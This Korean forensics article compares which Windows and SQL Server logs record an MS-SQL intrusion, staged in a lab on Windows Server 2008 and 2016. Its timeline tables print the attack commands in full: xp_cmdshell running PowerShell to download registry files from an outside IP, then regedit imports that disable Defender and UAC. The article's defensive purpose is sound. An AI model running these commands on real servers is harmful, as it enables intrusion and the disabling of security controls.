최근 몇 년 동안 사이버 공격은 기업과 개인에게 심각한 위협으로 떠올랐다. 특히, MS-SQL 데이터베이스는 공격자들의 주요 목표가 되었다. 이 글에서는 MS-SQL의 시스템 저장 프로시저를 활용한 침해사고에서 발견된 아티팩트를 분석해, 공격자의 행동을 이해하는 것에 중점을 둔다. 공격자들은 이런 기능을 활용해 파일을 다운로드, 실행, 변경, 삭제 등 다양한 행위를 수행할 수 있다. 따라서, 이러한 공격자의 행동에 대응하기 위해 시스템 내의 로그와 아티팩트를 분석하는 것은 중요하다.
이 분석에서는 로그와 아티팩트 분석으로 공격자의 행동과 관련된 정보를 찾아내는 방법에 대해 다룬다. 이를 통해 보안 관리자들은 보안을 강화하며, 만약 침해사고가 발생하면 즉시 정확한 분석을 수행할 수 있는 인사이트를 얻게 된다. 이 글이 보안 관리자들에게 유용한 정보를 제공하고, 침해사고 대응에 도움이 되길 바란다.
공격 동향 및 방식에 대한 글은 아래를 참고하길 바란다.

1. 테스트 환경 구축
1.1. Windows Server 2008 R2
- OS : Windows Server 2008 R2 Standard Build 7600
- SQL : Microsoft SQL Server Express 10 (x64)
- .Net Framework 4.5.2
1.2. Windows Server 2016
- OS : Windows Server 2016 Standard Evaluation Build 14393
- SQL : Microsoft SQL Server Express 14 (x64)
- .Net Framework 4.6
1.3. 공통 사항
두 환경 모두 원활한 테스트를 위해 아래 보안 설정은 해제한다.
- Anti-Vrius Software (Windows Defender 포함)
- Windows Firewall
2. xp_cmdshell 상세 분석
2.1. 타임라인
2.1.1. Windows Server 2008
시간(UTC+9) | 행위 |
---|---|
2023-04-27 15:38:02 | 무차별 대입 공격 및 DB 접속 |
2023-04-27 15:39:11 | xp_cmdshell 활성화 |
2023-04-27 15:40:30 | 명령 실행 - CMD EXEC master..xp_cmdshell 'whoami' |
2023-04-27 15:41:04 | 명령 실행 - 파일 다운로드 EXEC master..xp_cmdshell 'powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "& {$client = New-Object System.Net.WebClient; $client.DownloadFile(''http://35.203.61.153/test_asdf1234asdf/disable-defender.reg'',''C:\Windows\Temp\disable-defender.reg''); $client.DownloadFile(''http://35.203.61.153/test_asdf1234asdf/DisableUAC-Win7.reg'',''C:\Windows\Temp\disableUAC.reg'')}"' |
2023-04-27 15:42:04 | 명령 실행 - 파일 실행 EXEC master..xp_cmdshell 'regedit /s "C:\Windows\Temp\disable-defender.reg"' EXEC master..xp_cmdshell 'regedit /s "C:\Windows\Temp\disableUAC.reg"’ |
2.1.2. Windows Server 2016
시간(UTC+9) | 행위 |
---|---|
2023-04-27 14:34:42 | 무차별 대입 공격 및 DB 접속 |
2023-04-27 14:35:38 | xp_cmdshell 활성화 |
2023-04-27 14:36:30 | 명령 실행 - CMD EXEC master..xp_cmdshell 'whoami' |
2023-04-27 14:37:02 | 명령 실행 - 파일 다운로드 EXEC master..xp_cmdshell 'powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "& {$client = New-Object System.Net.WebClient; $client.DownloadFile(''http://35.203.61.153/test_asdf1234asdf/disable-defender.reg'',''C:\Windows\Temp\disable-defender.reg''); $client.DownloadFile(''http://35.203.61.153/test_asdf1234asdf/DisableUAC-Win7.reg'',''C:\Windows\Temp\disableUAC.reg'')}"' |
2023-04-27 14:38:04 | 명령 실행 - 파일 실행 EXEC master..xp_cmdshell 'regedit /s "C:\Windows\Temp\disable-defender.reg"' EXEC master..xp_cmdshell 'regedit /s "C:\Windows\Temp\disableUAC.reg"’ |
2.2. 무차별 대입 공격 및 DB 접속 비교
공격자들은 스캐닝으로 공격 대상을 식별하고 무차별 대입 공격 또는 사전 공격으로 침투를 시도한다. 또한, MS-SQL은 기본적으로 실패한 로그인만을 기록하도록 설정되어 있다. 따라서, [그림 1]과같이 별도의 로그인 감사 설정을 하지 않는다면 성공한 로그인에 대한 기록은 생성되지 않는다. 이때, 아래 경로에 대량의 로그가 생성된다.
로그 파일 | 로그 유형 | 로그 파일 경로 |
---|---|---|
Application.evtx | Windows Event Log | C:\Windows\System32\winevt\Logs |
ERRORLOG | SQL Server Error Log | [MS-SQL Install path]\MSSQL\Log |
log_[N].trc | SQL Server Trace Log (Default) | [MS-SQL Install path]\MSSQL\Log |

다음은 두 운영체제별 로그인 실패 및 성공 이력에 대한 로그인 사항이다.
2.2.1. Windows Server 2008

2023-04-27 15:38:02.58 로그온 오류: 18456, 심각도: 14, 상태: 5.
2023-04-27 15:38:02.58 로그온 Login failed for user 'admin'. 원인: 제공된 이름과 일치하는 로그인을 찾을 수 없습니다. [클라이언트: 192.168.199.1]
2023-04-27 15:38:02.60 로그온 오류: 18456, 심각도: 14, 상태: 5.
--- 이하 생략 ---


2023-04-27 15:39:08.20 로그온 Login succeeded for user 'sa'. Connection made using SQL Server authentication. [클라이언트: 192.168.199.1]
2.2.2. Windows Server 2016

2023-04-27 14:34:42.22 Logon Error: 18456, Severity: 14, State: 5.
2023-04-27 14:34:42.22 Logon Login failed for user 'admin'. Reason: Could not find a login matching the name provided. [CLIENT: 192.168.199.1]
2023-04-27 14:34:42.23 Logon Error: 18456, Severity: 14, State: 5.
2023-04-27 14:34:42.23 Logon Login failed for user 'admin'. Reason: Could not find a login matching the name provided. [CLIENT: 192.168.199.1]
2023-04-27 14:34:42.23 Logon Error: 18456, Severity: 14, State: 5.
--- 이하 생략 ---


2023-04-27 14:34:48.99 Logon Login succeeded for user 'sa'. Connection made using SQL Server authentication. [CLIENT: 192.168.199.1]
2.2.3. 결과
Windows Server 2008과 Windows Server 2016에서 SQL Server 로그인 이력을 추적하는 방법은 크게 다르지 않다. 테스트 결과를 토대로 정리하면 다음과 같다.
운영체제 | 로그 유형 | EventID | 로그인 유형 | 로깅 여부 |
---|---|---|---|---|
Windows Server 2008 | Windows Event Log | 18454 | 로그인 성공 | O |
18456 | 로그인 실패 | |||
Windows Server 2016 | 18454 | 로그인 성공 | ||
18456 | 로그인 실패 | |||
Windows Server 2008 | SQL Server Error Log | - | 로그인 성공 | O |
18456 | 로그인 실패 | |||
Windows Server 2016 | - | 로그인 성공 | ||
18456 | 로그인 실패 | |||
Windows Server 2008 | SQL Server Trace Log (Default) | - | 로그인 성공 | X |
로그인 실패 | O | |||
Windows Server 2016 | 로그인 성공 | X | ||
로그인 실패 | O |
2.3. xp_cmdshell 활성 로그 비교
xp_cmdshell은 기본적으로 비활성화되어 있으며, 이와 관련된 로그는 아래의 파일들에 기록된다.
2.3.1. Windows Server 2008

2023-04-27 15:39:11.82 spid52 Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
2023-04-27 15:39:11.83 spid52 Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.

2.3.2. Windows Server 2016

2023-04-27 14:35:21.34 spid63 Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
2023-04-27 14:35:38.13 spid63 Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.

2.3.3. 결과
Windows Server 2008과 Windows Server 2016에서 xp_cmdshell 활성화 추적 결과는 다음과 같다.
운영체제 | 로그 유형 | EventID | 로깅 여부 |
---|---|---|---|
Windows Server 2008 | Windows Event Log | 15457 | O |
Windows Server 2016 | |||
Windows Server 2008 | SQL Server Error Log | - | O |
Windows Server 2016 | |||
Windows Server 2008 | SQL Server Trace Log (Default) | - | O |
Windows Server 2016 |
2.4. xp_cmdshell 명령 실행 비교
Windows Server 2008과 Windows Server 2016에서 xp_cmdshell을 이용한 명령 실행 및 PowerShell을 이용한 페이로드 다운로드를 추적하고 분석하는 방법을 살펴본다. 이 과정에서 운영 체제 버전에 따른 로그 기록의 차이점, 그리고 이러한 차이가 보안 분석에 어떠한 영향을 미치는지를 알아볼 것이다.
2.4.1. 명령 실행 - CMD
두 운영체제에서 whoami
명령이 실행된 시점은 아래와 같다.
운영체제 | 시간(UTC+9) | 실행 명령 |
---|---|---|
Windows Server 2008 | 2023-04-27 15:40:30 | EXEC master..xp_cmdshell 'whoami' |
Windows Server 2016 | 2023-04-27 14:36:30 | EXEC master..xp_cmdshell 'whoami' |


CMD에서의 명령 실행 이력은 Windows Event Log, SQL Server Error Log, SQL Server Trace Log (Default)모두에서 확인할 수 없었다.
2.4.2. 명령 실행 - 파일 다운로드(Powershell)
두 운영체제에서 Powershell
명령이 실행된 시점은 아래와 같다. 해당 명령은 특정 경로에서 파일을 다운로드 후 저장하는 역할을 수행한다.
운영체제 | 시간(UTC+9) | 실행 명령 |
---|---|---|
Windows Server 2008 | 2023-04-27 15:41:04 | EXEC master..xp_cmdshell 'powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "& {$client = New-Object System.Net.WebClient; $client.DownloadFile(''http://35.203.61.153/test_asdf1234asdf/disable-defender.reg'',''C:\Windows\Temp\disable-defender.reg''); $client.DownloadFile(''http://35.203.61.153/test_asdf1234asdf/DisableUAC-Win7.reg'',''C:\Windows\Temp\disableUAC.reg'')}"' |
Windows Server 2016 | 2023-04-27 14:37:02 |




PowerShell 명령 실행 이력은 Windows Event Log에서만 확인이 가능 했으나, Windows Server 2008은 세부 명령줄을 확인할 수 없었다.
2.4.3. 명령 실행 - 파일 실행
마지막으로, 두 운영체제에서 다운로드된 파일이 실행된 시점은 아래와 같다. 해당 명령은 regedit
를 활용해 .reg 파일을 실행한다.
운영체제 | 시간(UTC+9) | 실행 명 |
---|---|---|
Windows Server 2008 | 2023-04-27 15:42:04 | EXEC master..xp_cmdshell 'regedit /s "C:\Windows\Temp\disable-defender.reg"' EXEC master..xp_cmdshell 'regedit /s "C:\Windows\Temp\disableUAC.reg"’ |
Windows Server 2016 | 2023-04-27 14:38:04 |


파일 실행 이력도 Windows Event Log, SQL Server Error Log, SQL Server Trace Log (Default) 모두에서 확인할 수 없었다.
2.4.4. 결과
분석 결과, Windows Server 2008 및 2016에서 로깅 되지 않는 부분이 상당히 많았다. 로그인 이력의 경우, 로그인 감사 옵션을 성공/실패로 설정했음에도 불구하고 기본 추적 로그에서 성공 이력은 확인할 수 없었다.
그러나, Powershell은 두 운영체제 모두 이벤트 로그로 실행 이력은 확인할 수 있었지만, 세부 명령줄 로깅에 활용되는 PowerShell Script Block Logging은 PowerShell 5.0부터 지원되므로, Windows Server 2008에서는 명령줄을 따로 확인할 수는 없었다.
또한, 서버군의 경우 기본적으로 Prefetch 기능이 꺼져 있어 Prefetch로 실행 이력을 확인할 수 없었다. 다만, Windows Server 2008의 경우 RecentFileCache가 있어 특정 파일의 실행 이력은 확인할 수 있었다. 그러나, RecentFileCache는 하루 동안만 저장되고 초기화되므로 일반적인 침해사고 분석 상황에서는 확인이 어려울 수 있다.
행위 | Windows Event Log | SQL Server Error Log | SQL Server Trace Log (Default) | |||
---|---|---|---|---|---|---|
Windows Server 2008 | Windows Server 2016 | Windows Server 2008 | Windows Server 2016 | Windows Server 2008 | Windows Server 2016 | |
명령 실행(CMD) | X | X | X | X | X | X |
명령 실행(PowerShell) | △ | O | X | X | X | X |
명령 실행(파일 실행) | X | X | X | X | X | X |
3. 결론
두 운영체제 버전 간에 나타난 주된 차이점은 운영체제 자체의 보안 및 로그 관리 기능에 있다. Windows Server 2016은 Windows Server 2008보다 보안 강화 기능이 향상되어 있고, 로그 관리 도구도 더 발전하고 사용하기 편리해졌다. 그러나, 이런 차이점이 SQL Server 로그 추적 방법에는 직접적인 영향을 주지 않는다. 이것은 SQL Server를 모니터링하고 분석하는 방법이 두 운영체제 버전에 독립적이라는 것을 의미한다.
이 글을 통해, xp_cmdshell을 통해 발생하는 공격을 이해하고, 로깅의 한계에 따른 개선 방안을 수립하여 보안 강화와 침해사고 대응에 도움이 되길 바란다.
행위 | Windows Event Log | SQL Server Error Log | SQL Server Trace Log (Default) | |||
---|---|---|---|---|---|---|
Windows Server 2008 | Windows Server 2016 | Windows Server 2008 | Windows Server 2016 | Windows Server 2008 | Windows Server 2016 | |
로그인 이력 | O | O | O | O | △ | △ |
명령 실행(CMD) | X | X | X | X | X | X |
명령 실행(PowerShell) | △ | O | X | X | X | X |
명령 실행(파일 실행) | X | X | X | X | X | X |